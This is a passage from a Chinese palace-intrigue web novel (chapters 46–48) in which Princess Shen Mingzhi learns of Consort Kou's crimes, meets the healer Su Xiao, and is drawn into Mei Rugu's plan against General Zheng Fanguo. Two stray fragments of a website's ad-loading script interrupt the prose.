荣妃长长舒出一口浊气,撑着被褥坐起,“寇妃是商贾出身,士农工商,商为末流,但天元年间,寇家就是富甲一方的豪商,每年大把的银子流入化隆,上下打点朝中权贵官宦,不过这些人,殿下也知道,花他的钱又打他的脸,但周瑜打黄盖,这是你情我愿的事情,寇家也认。那个时候,陛下还只是兖王——” 说起年轻时候的圣上,荣妃枯槁的脸上终于绽开了几分鲜活,“十四岁孤身一人去兖地就藩时,在兖地遇上了寇家人,陛下是有大志的,朝中有那么几位老臣替他说话,但手上没钱、身边没人,正好寇家人凑了上来。但寇家一开口,要的就是兖王王妃之位,但圣上只许他们一个侧妃,买卖没谈拢,只能一拍两散。” 荣妃看见了沈明枳眼中的质疑,“殿下也觉得不可思议?是,谁听了不觉得寇家人是异想天开,可他们就是这么干的,看不起区区一个兖王,又不愿寇氏屈居人下,更觉得十四五的年轻皇子,能否活到成年都是未知,怎会有这么多心计。可后来的陛下平定了南海道,弱冠之年与中宫结发,最是意气风发的时候,却又被继后排斥回了封地,这一贬就是四年。” 屋内陷落入突如其来的静寂,外间长荣与张四郎的说话声,顺着门缝流了进来,细细有如蚊讷,又像是半梦半醒之间的呓语,更是爱人之间互袒真心时的呢喃。 荣妃听得有些发痴,不知这样的声音唤起了她怎样的记忆,她思绪拉远,开口时是她自己也没察觉出的温柔,可说到了寇妃,这种温柔也变了质,经年的酸味苦味从一字一句中泛滥而出:“寇家想挽回,这时不要说一个侧妃,就是侍妾他们也认,但陛下的心肝是铁打的、铜浇的……不过最后,陛下还是纳了寇妃,因为五六年前初到兖地,寇妃就看上了兖王,不顾一切要和他私奔。” 沈明枳一怔,终于从这样久远的前尘往事里醒过神来,毫不掩饰自己的错愕,定定看向荣妃。 “荣娘娘是怎么知道的?” 46. 第四十六章 意难测 “那年和亲,寇妃要为宣国抢女婿,长公主的姑嫂关系和谐,自然要帮中宫说话,寇家的往事便是这时抖落得人尽皆知的。” 沈明枳眼神一暗。 “妾起初也不信,毕竟陛下之于后宫中每一个女人来说,都是君,哪怕是皇后,都是名正言顺的糟糠妻了,她应该也从未把一个君王视作自己的丈夫。侍君与侍夫,是极其不同的,虽然有时候夫婿就如同君主,但君主从来都不是任何一个女人的夫君。可寇妃啊——” 荣妃止住话头,她似是很为难,不知如何评断寇妃对圣上的这番“深情”,毕竟这种情感是她也未曾体会过、想象过的,她甚至不知用“深情”二字来描述是否过于粗鲁浅薄,斟酌许久,她最终重起话头,喟叹不已:“后宫里来来去去这么多人,好像只有她才是最正常的,一个沉醉情爱不能自拔的女人,一个嫉妒到疯狂的女人。你看她,杀了这么人,是要为她的儿女铺路吗?她考虑过败露后的结果吗?她在乎过寇家会受到什么牵连吗?” 荣妃坚定地摇头:“儿女之于她对夫君的一番情,甚至也不这么重要。那年罗美人怀孕,她教唆才几岁长宁拉着临川郡主去给罗美人送吃食,罗美人命大,是郡主替她挡了一劫,长公主都闹到宫里来了,可不过月余,她又给罗美人下了药,一碗药就断送了一条性命!再说李美人,端午重日是殿下遭了罪,这事情闹得也够大了,她让宣国公主出来顶罪,可后来李美人有孕,她不还是动了手脚让李美人流了孩子?这些都是人命关天的大事,说点小事,妾才听四郎说了,秦淮名菜几十金难买,她一口气配齐全了,为什么,她备了这些菜是给你们这些小辈吃的?她还不是想中宫当权之时约束甚严、日子又过得简朴,她的夫婿苦了几十年,她要搜罗了山珍海味讨他欢心!” “殿下!这些事,陛下也全都知道啊!这后宫里的女人对他有几分真心几分谄媚,他心里明镜似的,只有寇妃的心,全都挖出来捧在他眼前,他厌倦了前朝的虚与委蛇和逢场作戏,回了宫,又只有数不尽的虚与委蛇和逢场作戏,寇妃这样的女人之于他,那不就是久旱甘霖、云端月明吗?寇氏就算真的谋害了皇后、害了数不尽的皇子公主,只要她还是他的可人、他的慰藉,只要她不弑君,他是大楚的皇帝,他又有什么不能容忍的!” 轰雷贯耳,沈明枳震在原地。 寇妃的眼里流淌着无尽哀色:“殿下,你真的要去用命去赌吗?不是赌一个女人在他心里能有几斤几两,也不是赌赵王究竟多得圣心,而是他,那个曾落魄于兖地、被商贾看不起、最终践阼登基君临天下的兖王,他在他自己心里究竟有怎样的分量。” “兖国,你赌不起啊。” 四肢冰凉,沈明枳静坐了好久才找回自己的声音,她僵硬地起身,朝坐卧在床榻上的荣妃揖礼:“谢……谢过娘娘指点。” “该是妾谢过殿下,谢殿下帮榕儿说话,再谢殿下延请医生为妾治病。” 沈明枳站在床前,沉默不语。她垂眼看着这个被病痛折磨得渐渐脱相的女人,忽然想起了皇后。如果没有意外,她能够寿终正寝,等她也枯槁成这番模样,这该是几十年后遥远的光景。只可惜她已经在紫微宫下永世长眠,荣妃只用了短短几个月就消瘦到这个地步,天上的月能圆、碗中的水能满,可人事古难全。 荣妃慢慢舒出一口气,可这口气堵在了沈明枳的心里,堵出了一种生不能生、死不及死的憋闷的感觉。她明白这种感觉,她次次丧子却不能向真凶复仇时的感觉,那种恨不得拉上所有人一同毁灭的感觉。她曾盈满秋波的剪水双眸重新溢出了怜惜,“兖国,我从来不信什么鬼神,但听中宫、听李美人念了这么久的经,我也有些信了,善恶有报,天网恢恢……” 沈明枳垂眼,几不可查地摇摇头。 事在人为。 “就说,李美人吧,她心中有亏,便觉得掉了孩子是报应……” 沈明枳抬眼看向她,眼中流露出几分不解。 荣妃笑得自嘲:“呵,也只能这么安慰自己了。好人好报?恶人恶磨?若这是这样,老天怎么不开开眼,让那些该死的下地狱、让无辜的入极乐?太子妃那么好的一个人,虔诚向佛,佛祖不也没庇佑她一生顺遂么?” 荣妃看见了沈明枳大睁的眼睛里,出现了一瞬间的空白。她心知自己接下来的话过于残忍,但不说就没了机会,“殿下不知吗,太子妃曾与吴王有过一段。” “荣妃娘娘!” “可她是个深明大义的女子。” 沈明枳捏紧了自己的袖子,强稳住嗓音质问:“荣妃娘娘想说什么?她既是这么好的一个女子,这样空口白牙地玷污她的清白……” “兖国,你也觉得这是污点吗?” 眼中一湿,沈明枳张张嘴要解释,可她手忙脚乱的,哑然无音,只能慌张又恼怒地平复了一次又一次,直到唇瓣上的唇红都被她咬尽了、抿尽了,荣妃才怆然道:“殿下,她只是个姑娘啊,和你、和榕儿一样的姑娘。” 沈明枳颓败地低下头。 “东宫的梅园是为谁建的,东宫的清名是为谁守的,她知道。梅阁老是陛下跟前最得脸的旧臣,逢年过节,梅家的公子小姐也会应诏入宫,那时梅园初建,梅才子是梅学士,太子妃还不是太子妃,不过也快了……就藩的皇子回京过节,他们就在梅园里见了一面。妾亲眼所见,他们应该在话别,太子妃哭了,吴王也气短咳嗽,一个大男人,居然也哭得上气不接下气。” “荣妃娘娘想说什么?”沈明枳终于撕下强干的皮囊,露出侵入骨髓的虚弱,她眼中风波也终于归入寂灭,空洞的、深沉的、可怕的,似是压抑本性中最隐蔽的秽恶从天罗地网里掀开一角。“到底想说什么?这些事,有心人查一查就能水落石出——” 荣妃叹息:“兖国,你知道吗,那时失了夫婿却怀了孩子,她日日惊厥、夜夜难眠,在佛祖前求得更诚恳了,后来滑了一跤,掉进了莲花池,连孩子都没了,她便笃定是自己曾犯了大错,所以老天来惩罚她了,她万死难赎,却不忍心看着身边人一个个遭罪……” “不要说了,娘娘,不要说了。” “好。兖国,今天过后,应该就是我们的永诀。” “荣妃娘娘会长命百岁的。” 她摇头。 “哪怕是为了你的孩子,为了她的孩子,为了你自己这口气。” 荣妃凄然一笑:“妾累了,就不送殿下了。” “好。”沈明枳再度退后,朝缓缓卧倒下去的荣妃施了更周全的一个礼。她背过身走到了门边,那句轻柔的“保重”破过重重关隘,终于说出了口,荣妃眼角也滑下了一滴泪。 宫里的每条路她都熟,牢牢刻在她心里,可她不知道自己是怎么走到了畅春园,满目都是生机勃勃,日光下澈,仿佛这样欣欣向荣的盛景还会维持上一万年不变。 可花是要谢的,叶子也会凋零,太阳也会下山,风也会停,人也会死,哪怕这一切周而复始真能存上千万年不变不改,她也再看不见今日华光胜景、再不复今日心情。 春秋积序、岁月不居,这已经让古往今来的多情者伤透了心。沈明枳仰头望天,望向北方紫微宫的方向,再望向太阳,心底冒出了几个字眼,或者是高风亮节冰壶玉衡,又或者卑以自牧含章可贞,说太子妃的就多,说当今圣上的更多,可词冒得越多,眼前至亲之人的轮廓越模糊,模糊到这些人重又出现在眼前,她只叹陌生。 “殿下,出宫吗?再往前就是仪銮殿了。” 沈明枳终于停了下来,回首望向身后的来路。 这条宫道直通出内城的启福门,她却南辕北辙走了这么久。 “好。” 她转身,却不察脚下一个踉跄,若不是月珰的搀扶,她就要摔落在尘土中。沈明枳有些狼狈扶上自己的太阳穴,指尖正用力平抑脑中混乱,眼前天旋地转里,迎面婀娜而来了一个女子。 娇花照影,这是青涩与成熟交织混落成的一个花般的女子。她漂亮,是沈明枳一见就挪不开眼的漂亮,是鲜活灵动的、流水般淙淙不灭的漂亮,是沾染了尘土却不落俗艳的漂亮,是全然不同于自己、第二个天地般的漂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 亮。望见她,沈明枳就想起了南巡惊险里的安宁,就联想起秋水畔采莲越女,窄袖轻罗、暗露双金钏,摘花花似面,芳心共丝乱。 这般的漂亮,着实让人生不出恨意,仿佛见了她一面,这秦灭六国的不世之仇也能淡忘。沈明枳对于美向来就有无限宽容,可她不是所有人的灵丹妙药,沈明枳一见了她,这个之于寻常女子来说顺风顺水了一辈子的人,就知道了什么叫作嫉妒,什么叫作掺杂了恨意的羡慕。 好色是烙在每个人骨子里的恶性,圣上是说一不二的九五至尊,要个小小的医婆何其容易;寇妃善妒,哪怕前路坎坷好歹大权在握,断送青春红颜亦不过是上位者碾死一只蚂蚁。单单说一个人就够恐怖了,说起由一群扭曲的人、无处发泄的人、不得自由的人组成的宫闱就更耸人了,熬干瓶中的水、蒸透心中的善、最后撕扯得面目可憎,这是巍巍宫禁最拿手、最得意的杰作。 如果她沈明枳是男子,她就不会舍得把她送上死路,千钧的重压又如何,不论如何也要把她圈在、锁在、藏在自己身边。西北的风沙、东北的霜雪、岭南的烟瘴、远海的荒凉,为了心上人,乔致用受得,她亦受得,郇寰如何受不得? 郇寰,你怎么敢的,把她送到我的面前? “民妇参见兖国公主。” 沈明枳回神。 她不是奴,也不是婢。 沈明枳眼看着她恭恭敬敬屈身,向自己行礼,看着她身上每一块肌肉都在叫嚣,每一滴血都已沸腾。在后廷这个地方,想要不动声色地折磨一个人有成千上万种方法,譬如,现在不说“平身”,就能让这样美的躯体在极度紧绷的姿态之下几近崩溃。 “起来吧。” “谢公主。” “你便是那位大名鼎鼎的肖娘子吧。” “公主谬赞,民妇不敢当。” “这有什么好谦虚的,岁末宫宴上梁国崴了脚,你给她看的,她夸你——你怎么认识我?” “兖国公主荣宠谁人不知。” 沈明枳轻笑,“肖娘子闺名为何?本宫有些好奇。” “民妇肖霄。” 沈明枳显出怅然,“潇潇暮雨洒江天。” 苏霄摇头:“是‘自有云霄万里高’的霄。” “名字不错。” 她叫苏霄,他叫郇寰,的确是好名字。 苏霄敛颌不语。 “怎么肯入宫?家里人呢?” “太医院医典荟萃、人才齐聚,是民妇最渴望的所在,亦是吾夫所愿。” “志同道合向来难得,你们怎么认识的?” “有人为难他,命悬一线,我遇见了……” 那是一只被拔去所有羽毛的鸢鸟,从云端之上摔到了泥地里,没了骄傲、没了倚仗,面朝青天而背抵黄土,被迫仰望。他是个骄傲的人,骄傲的人也会流血,流泪不必多说,就算心事横流也不见外。患难之际,最可生真情。 “现在呢?” “自家乡奔往化隆,路遇盗贼,他走散了。” 沈明枳微一欠身,抚平泛皱的袖口:“本宫失言了——月珰,我们走吧。” 与苏霄别过,月珰看了眼被甩在身后的启福门,“殿下不从启福门走吗?” “去御书房。” ** 刚走到御书房附近,沈明枳就见空旷开阔的东直门内广场上散了不少青袍绣鹭鸶的六品官,三三两两地往东直门外走。她猛然想起每月十五,是圣上的家宴,亦是六科会揖,这群六科给事中应该才从内阁出来。 她来得不是时候。 六科给事中按惯例,每月的初一、十五两天都要到内阁与辅臣作揖见面,互相通气。六科一向不隶属于任何衙门,一出东直门就可见他们的公署,比五部三司更靠近机枢要地。他们直接向圣上负责,手掌参政议政、监察弹劾的重权,虽只是六品官,但就是戚畹权贵、三公九卿,与之见面也要行拱手礼。 现在的内阁凋敝,次辅郭明修掌着工部,却不敢多管内阁里的闲事,六科会揖实则揖的就是圣上。 47. 第四十七章 无路归 沈明枳唤来了侍候于御书房外的内监,劳他找到了庞大总管。 “呀,公主殿下怎么在这里?郇侯没陪着殿下回府吗?” 沈明枳微笑:“我自己走了走,想着父皇心气郁结,放心不下,就想来看看,不过,好像来得不是时候。” 庞大总管笑得见牙不见眼:“哪里话,圣上方才还念着殿下怎么不来开解,是不是嫁出去的女儿泼出去的水,心里记不得他这个父亲了。” 月珰掩唇笑了。 “方才我看见六科的言官出宫,才想起今天是会揖的大日子,国事为要,父皇心系天下,应当是没空见儿臣了,那就请庞大总管向父皇带几句话吧。” “殿下尽管说。” 沈明枳叹息:“娘娘这一去,坤宁就空了,我见钱、方、卢三位嬷嬷枯守在紫微宫,人都憔悴了,便想向父皇求个恩典,让儿臣将她们接过去,为她们荣养送终。” 皇后身边共有三个上了年纪的老嬷嬷,其中这位卢嬷嬷是庞大总管的对食。皇后薨逝,这三位嬷嬷就在紫微宫守着皇后的吉壤,没有圣上发话,大概一辈子也出不来。钱、方两位嬷嬷愿不愿走她不知道,但这位卢嬷嬷一定会出紫微宫,这样便能与庞大总管朝夕相对,沈明枳向来知恩图报,捞她一把并不困难。 果然,庞大总管的声音里多了激动:“殿下有这个心,圣上必然欣慰。” 沈明枳一笑:“三位嬷嬷侍奉娘娘多年,劳苦功高,身上也落下不少伤痛,大总管也知道,男大夫看病还是多有不便,故而儿臣想求父皇拨一名医婆来。” 庞大总管认可地点头:“殿下有看上哪位?” “我听梁国说,太医院有一名肖娘子,可称圣手,若能得肖娘子,那真是儿臣和三位嬷嬷的福气。” 当晚,郇寰窝着一肚子火从赵王府回来,正收敛着心中不悦,打算找沈明枳商量一下明后几天回侯府处理郇三娘的婚事,一迈进她的院子,就见她坐在廊下煮茶,摇着蒲扇盯着火,与身边站着的两位年轻妇人谈笑晏晏。 郇寰一愣,一眼就看见站在立桌前推着铜碾压着药材粉末的那个身材出挑的女子,居然是苏霄。这种吃惊只是一弹指的功夫就化为平静,他故作迟疑地走过去,笑着在沈明枳眼前站定,弯下身从她手里拿过蒲扇,“殿下怎么亲自动手?” 沈明枳搭上郇寰递来的手站起,“王府留你晚饭了吗?” “嗯,吃过了。”郇寰一掀衣摆,在沈明枳的胡床上坐了下来,替她看着炉中火。沈明枳走到立桌旁的八仙椅上坐下,“月珰她们去收拾屋子了,圣上已经派人去紫微宫接三位嬷嬷了,这两位太医院的医婆娘子就是圣上拨来照看她们的——简单见个礼吧。” 郇寰还不知道这些,他顺着沈明枳的话头,第一次正式地打量起与苏霄并肩的那名医婆,这名医婆先苏霄一步放下手中的玉杵,朝郇寰蹲身福礼:“民妇孙芝见过郇侯。” 郇寰摆手,在苏霄行礼前开口:“既然是殿下的人,这里又是公主府,便按公主府的规矩。” 苏霄敛衽:“民妇肖霄参见驸马。” 沈明枳越过苏霄窈窕的背影,看向坐在炉前的郇寰,郇寰也越过苏霄看了过来,四目对视,他似要说些什么,正此时炉子上的茶壶尖叫起来,他连忙裹了抹布将茶壶挑离了火焰,又提着茶壶站起,走向立桌,“都下去吧。” 等苏霄和孙芝走没了影,廊下更无半点人声虫语,郇寰才将新沏好的茶推到沈明枳手边,“三位嬷嬷是明日几时来?” “傍晚吧,卢嬷嬷不来,自请看守坤宁宫。” “好。” “你是要说回侯府的事吗?” “对,俞家那里大致妥帖了,要开始走六礼,你我身上有孝,但太夫人体弱,场面还得来撑。这些事,等嬷嬷们安顿好了也不迟。” “好。” 两人无话,郇寰饮完杯中茶,嘘寒问暖后便告辞,心事重重地回了书房。这不能怪他心思重,太医院那么多医婆,圣上为什么偏偏送来了资历最浅的苏霄?她是方太医的爱徒,医术高超更出类拔萃,可就算盲选,有方太医的挽留偏袒,这种无异于流放的差事怎么也不该落到她的头上。 郇寰有一种不好的预感。 苏霄的身世本就敏感。现在成了肖霄,他自负沈明枳的暗卫本领通天也查不出肖霄这个假身份里的蛛丝马迹,但江南道的那个苏霄不一样,在苏州的时候,沈明枳或许就从姜家一宴的闲话里听说了苏霄的存在,她是个机敏过人的,将四处打听来的事迹稍稍拼凑就能猜出个七七八八。 他自诩自己最大的优点之一,就是从不会小看了任何人、任何事。苏霄入了兖国公主府,绝对不是阴错阳差,平静的日子骤然破灭也绝对不是偶然为之。 郇寰心中不定,寇妃攫取了中宫大权却闹了这么一出,他隐约觉得皇后的突然暴毙与宫里的腌臜脱不了干系。他没有证据,但他能往最坏的地步姑且假定,长宁和亲刺激到了寇妃,寇妃害了皇后。可这些事与苏霄有什么关系?她是帮凶吗?还是主谋吗? 可如果沈明枳找上苏霄不是因为皇后之死、后廷之事。 郇寰从案卷之上抬眼。 他不敢这么去想,沈明枳恐怕要对付自己。 天家的驸马不好当。建元初年有个驸马纳妾,结果被公主一剑捅死了。公主是皇亲,驸马是外人,结果自然是公主逍遥寡居,驸马全家下狱。升平元年圣上登基,料理好朝中纷争,腾出手做的第一件大事就是屠了鲁国长公主的驸马吕颦调的全族。抛去诸多政治因素,这就也不难看出,驸马纳妾是对皇家的羞辱,而圣上最重颜面、最不心慈手软。当然,并不是所有纳妾的驸马都下场惨淡,但公主贤惠,对夫婿的花柳情事视若无睹,大多是子嗣缘故,且这种小妾睡也睡得战战兢兢。 郇寰心知肚明,自己绝对没有这种好运。他身上事多,如果后院起火,沈明枳还没出手,魏王等早借题发挥把他给撕了。不过他自问没有做过什么对不起沈明枳的事情,但他知道人言可畏。即便他和苏霄之间什么都没有,这种事情难道需要捉奸在床才能板上钉钉?众口铄金,积毁销骨。更何况,他费力给苏霄重办户籍,又在太医院谋了差事,这是板上钉钉的铁证,东窗事发,凭“包庇”二字就能要了他的命。 郇寰推开眼前摊满了的卷宗。 他什么也看不进去。 沈明枳会想过对付赵王一家,这是他们活该,可她会想对付自己吗? 郇寰心里已有了答案。 因为他是赵王身边的一条好狗。 口含天宪却奊诟无节,说瞒天昧地话,做杀人放火事,不能俯察民意,不能除官场恶蠹,不能弘远大之规,明知不可为而尽为之。 有时候,他也恨死了自己这副烂人模样,处处皆言为了大局着想,为了以后着想。可他的大局能轻易毁于寇一爵之手,而他的以后渺远无期。 郇寰拉回自己的思绪,强迫自己镇定。 沈明枳不是这么冲动、不计后果的人。如果她的驸马都尉出了丑闻,她这个公主也会脸上无光;面子之外,他们两个还有更深的利益牵扯,她就算再恨也不会选择这样杀敌一千、自损八百的蠢办法。 心思重定,郇寰重新提笔,刚翻了两页案卷,就听见冬至的脚步声由远及近,随后书房的门被轻轻扣响。 “怎么了?” 冬至汗也来不及擦,连喘了好几口,说出了郇寰最不爱听的字眼:“出事了。” “具体!” “郑老将军回来述职了。” “郑藩虢?他不是要月末才回吗?”郇寰边收好桌上的纸张,边起身走出书房,“有说是什么事情吗?不会是长桫索贡吧?” “也许吧,去年义律得了这么多便宜,这四境蛮夷都蠢蠢欲动。” 郇寰嗤笑:“有贼心没贼胆,顶多是索贡,不过朝廷现在空了,有的功夫收拾他们。” 言及此,郇寰忽然想起早上遇见寇一爵时听的那一耳朵闲话。 大楚没钱了。 该死。 “对了主子,我向冬儿打听到,韦将军的夫人流产了,殿下可能会打算亲自探望。” 郇寰脚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 步不停,并不作声。 “主子现在要出门?去王府?天很晚了。” 郇寰这才停下来,抬头望向天上月。 天确实很晚了。 他这才反应过来,方才匆匆出门,他其实也不知道自己要往哪里去。他回首望向来路,竟也不知道自己能往哪里去。 无处是归途。 ** 宁海将军郑藩虢今年已经六十有二,但筋骨强壮,大刀千钧仍能舞得虎虎生风,丝毫没有要告老退休的意思,从宫里出来后就策马去了窦府,悼念自己曾经的同袍战友。随长桫索贡一同传入沈明枳耳朵里的消息,还有梅如故的回京。算算时间,他的确该回京述职,只是这些日子沈明枳忙着各种事情没有功夫去想。 沈明枳很高兴。 郇寰就高兴不起来了。 毕竟是东宫的人,梅如故这一回京,除了乔致用还在西南,东宫旧臣算是难得齐全。眼下,赵王一派还在商讨如何对付郑藩虢,如何通过这一次述职卸掉他得兵权、最好把他的命也留在升平二十四年,他忙得脱不开身,顾不上盯沈明枳,如果沈明枳真有心对付自己,有了这些人的相助可谓是如虎添翼,他防不胜防。 沈明枳虽然想给梅如故接风洗尘,但在化隆地界之内、赵王派的眼皮子底下、郇寰的密切监视之中,她没有这个胆子去冒险。但出人意料地,梅如故居然给自己递了消息,请自己去喝茶。 梅如故洒落,是什么理由也没有编,大剌剌给自己递信时,郇寰刚好回府取案卷。 “哦,来啦。”梅如故正盘坐在矮榻上下棋,听见了沈明枳的脚步就扔了棋子,探身亲自给她沏茶。 没等沈明枳开口,梅如故就已经笑了起来:“听说公主最近的处境不太妙?” 沈明枳从他的话中听不出半点担忧,全然是赤裸裸的嘲笑:“不过是送个小丫头和亲罢了,你不送自有旁人出手,别人是金刚而你是泥巴捏的菩萨,用得着把你自己搭进去吗?不想要孩子就算了,拿掉就是,犯得着用这种凶险的法子?真是不要命了。” 沈明枳吃了梅如故的这顿骂也不气,却又想起了柳曦既,不由得起疑:“你怎么知道的?” 梅如故又舀了水到炉子上温茶,朝沈明枳瞪眼:“我怎么不知道?你也算是我教出来的,你的性子、做事的风格、会犯的糊涂,哪一样我不清楚?就算我离得远,这不还有柳曦既么……我以前就叫你好好和人家学学,不要冲动犯糊涂,三思后行!三思后行!你呢?成天嫌我烦,嘴上说着会学会学,结果呢,你学到什么了?如果不是你这回运气好,万一出了什么纰漏,我不在化隆给你兜着还得劳烦人柳曦既给你善后……” 沈明枳不服气地反击:“想不到从前你们私交一般,而今他倒甘心成了你梅大才子在京中的眼线,真是十年河东,十年河西。出了事情我自然不会去麻烦他,也没理由去麻烦他——” 梅如故眼睛又是一横:“还顶嘴?你不去麻烦他,我得去麻烦他,我不麻烦他,他自己也得麻烦!总不好看你走投无路又做出什么失智的事情来,万一把小命给丢了,你让我们以后如何去见你的大哥哥大姐姐?如何去见皇后?惜点命吧我的十殿下呦!南巡一路疯得还不够吗?我知道你憋屈,但人在屋檐下不得不低头……” 梅如故一絮叨起来就没完没了,沈明枳倒是乐意听他废话,只是梅如故自己越说越失意,没一会儿就失了训人的兴趣戛然而止。等炉子上的茶开始喷汽,梅如故将炉火压了,提了茶壶搁到了竹垫上,重新给沈明枳换茶。 他长长叹了一口气:“我今天叫你来,也不是专门要来训你的。” 沈明枳谢过他的茶,静待后文:“郑藩虢回京,郇驸马可有的忙吧?” 沈明枳捧着茶,默默认下。 “就你现在这个处境,如果不做点什么,赵王一派准要收拾你,抑或者已经收拾过了——” 听见此话,沈明枳不由得诧异地抬起眼。 “看我作甚?这三个月紫微宫你没白呆吧?我可不是好心帮你,只是合作共赢,合作共赢懂不懂。” 48. 第四十八章 郑藩虢 沈明枳了然笑了:“你是自己早有谋划,恰好我遭了殃,您老就大发善心一回。不过天上不会掉馅饼,说是‘合作共赢’,其实是指着我帮你干活吧?这种套路,从小到大玩烂了,有时还是你下套来蒙我……” 梅如故不由得笑骂一声,“混账东西,别扯东扯西,旧账不兴翻,一股子酸味儿。”骂完,他正色问:“听过‘以狄养兵’吗?” “我记得早年,王叔远走的就是这个路子。” “不错,这天高皇帝远的,南海道又都把在他手上,他吃了熊心豹子胆自取灭亡,跟两广、南洋的倭寇合谋,每年从朝廷诓走数额不小的军饷,逐渐发家起势。你大哥哥南巡前,他的阴谋就已经败露,只是碍于西北战事焦灼,相比之下南边寇乱不成气候,所以圣上就暗中嘱托太子不要大动干戈,还派了阎阁老盯梢,打算等西北事了再秋后算账。” 梅如故不禁喟叹:“你这个小丫头片子不错,南巡凶险都顶过来了,这一路明枪暗箭、还有王叔远部将的为难,这些跟海防倭乱相比算些什么?一旦出了差池,战事四起,你就成了千古罪人,还是红颜祸水那一款的。” 沈明枳笑道:“多谢梅大才子夸奖。” “呵,瞧瞧,顺杆子往上也不是这么个爬法,亏得你容色一般,不然办好办坏总有不满,你可就要被骂成李裹儿了。” 沈明枳笑着啧了一声。 “嗨,别打岔了,说正事。我虽对战场上的事情了解不多,但也曾听老爷子隐晦地说起过西北的这些腌臜。后来老乔从西北调到西南,不是说他有回来看我么,聊着聊着他便和我说起癸卯疫变……” 太子死于瘟疫,那一年就是癸卯年。 乔致用三年轮换期满,正要回京,又接到太子染上瘟疫的消息,于是昼夜兼程,但行至半路,接到前方急报,本来太平了几天的义律趁大楚关隘换将,夤夜偷袭,当年就已经是靖臣将军的郑藩虢措手不及,身负重伤。乔致用还是靖节都督,在兵部卸任的正式公文下达之前,必须回援西北,因此延误了回京的日期。等到西北战事平息,太子已经入殡。 “由不得旁人疑心,郑藩虢在西北的八年,就是义律最猖獗的八年。期间出了公主和亲,朝廷也想过趁机换将,但新官上任没几天,义律又打到了长风关,朝廷不得不再度启用嚄喈宿将郑藩虢,顺便贬了那些与郑氏龇牙的大臣作为赔礼,老爷子也吃了弹劾。但无风不起浪,圣上心里很不安定,毕竟‘以狄养兵’的下一步,或许就是举城叛国了呢,所以他派了窦勤诲,把窦家人全扣在京——窦宙不就因此在化隆困了好几年么,连老乔都上前线了……” 沈明枳问道:“既然做过,必有迹可循,乔将军也去了西北,他可有什么发现?” 梅如故哂笑:“他是晚辈,在郑藩虢他们眼里,跟毛没长全的愣头青有何区别?说是关照和器重,其实就是看在圣上的面子捧一捧,给点战绩,好送这位乔公子荣归故里。后来窦勤诲不行了,不得不告老,他顶上靖节都督的位子,又呆了三年,可钱不过手、账不过眼,天天数沙子骂枯燥,除了手下几百人亲兵,其他的都只听郑藩虢中军大将的军令,他一个都督当真比东都兵马司的指挥使还要落魄。” “别看不起人了。” “呵,你怎么还替苏德惜说话?”梅如故咂了一口茶,“若我没记错,这苏德惜与你家郇驸马可有‘深仇大恨’啊。不过没事,他是个外头软里头更软的,除非见血,像在战场那样,不然我瞧不起他。” 沈明枳蹙眉:“梅大才子,你瞧瞧你现在,四品知府就是什么大官了吗?还是临川府,长公主一去还得‘卑躬屈膝’,你还好意思瞧不起他?” 梅如故勾唇:“你这丫头还敢数落我?是,东宫里这几个,柳曦既最出息,若非年纪不到不然就该入阁了,其他的也都封疆一方,这么看的的确确最没有出息的就是我。可苏德惜比起我,在战场上是一个狠人,不狠也活不下来,什么‘卫青不败由天幸,李广无功缘数奇’,我捧摩诘,但他这话说得要多混账有多混账,靠运?苏德惜是挣不来现在这份家业的。可下了战场,他跟个懦夫有何区别?出了事头一件事不是想着如何处理,而是躲。我倒不是看不起他入赘云家,入赘又怎么了,我最烦这些虚名,若他真能看开,我赞他洒脱,可他为何入赘?入了赘却发现甩不开苏家这帮吸血虫,就开始躲,都躲到安西去了,够远了,结果还被连累,云家也因此丢脸!” “梅如故,每个人都有苦衷……” 梅如故笑得更加讥诮刻薄了:“是,对外是仇敌,所以所向披靡,对内是血亲,所以优柔寡断。咱们的十殿下最能推己及人了,这是好的,一言而可以终身行之者是为恕,可我说句不好听的,你现在这是‘妇人之仁’,他是当断不断,所以自受其乱,你要以他为诫,奈何替他狡辩。” 见沈明枳还不服气,梅如故无奈摇摇头:“苏家灭得早,云家势也大,所以你看不清,如果云家真衰落得不成样子,出了事情,苏德惜只会妥协,护不住人,只能处处退避,退无可退,真有事情扯到了云家身上,这位云夫人也不会有好下场。” 沈明枳最终垂眸。 “行了,又不是咱们自己的事,就别想这么多了,还是想想如何收拾郑藩虢,这老爷子身体真的不错,别到时他还硬朗,却把我先熬死了。” “胡说什么。” 梅如故收起嬉皮笑脸,“其实西北事,如果真的要深入,找窦宙倒是个不错的主意,毕竟他也呆了五年。” “那你倒是去问啊。” “过分了啊,我梅心可不是谁都使唤的了的,要问你自己问。” 自从上回赶走了窦宙,沈明枳就再没见过他,心里无奈又是惭愧,根本不敢见窦宙,只能哄梅如故去登窦家的门:“这怎么是使唤?我来你这儿都战战兢兢,那就更不方便去打扰他了。再说,没有窦家的实证,天知道到时事情会出什么岔子。” 梅如故一听就知道其中有事,但他不感兴趣,便也不再多说而是道:“不必问,窦家的事赵王能够摆平。” “但是这样一来,窦老将军已经病故,窦家全族都支持赵王,得到的结果必然有利于赵王。” “哎呦!”梅如故瞧她认真的模样不由得想笑,“我倒是还没见过胳膊肘往外拐的媳妇呢,郇海山知道了得气死吧?” 沈明枳敛容以示不悦。 梅如故也不是真的要和她玩笑,咳嗽两声言归正传:“我今天邀你来没有避讳旁人,就是要你把事情漏给郇海山,让他们去忙活,肉食者鄙,你不要参与。” 沈明枳在脑中将事情一过,寻出了错漏:“那你怎么办?我有没有本事得到这样的消息他们一清二楚,编一个借口也不现实,肯定要把你供出来的。你不是自己人,还是东宫旧臣、太子妃的胞兄,他们绝不会以为你在投诚,必然要怀疑你的图谋,甚至认为“以狄养兵”也是你设下的一个陷阱,到时候事情没办好,你也会有劫难。” 梅如故摆摆手:“这你就不用操心了,我早就安排好了。当年弹劾郑藩虢的人里就有我家老爷子,郑藩虢启用,我梅家也遭了贬斥,不久后老爷子就还乡了,没过几年安生日子就去了——” 他伸了一个懒腰,漫不经心地道:“虽然他的死和那些人没关系,但若是我想让他们有关也不是不行。人都死了多少年了,老爷子若是知道我‘为民除害’,借他点旧事用用,不仅不会骂我还会夸我呢。” 沈明枳无言以对。 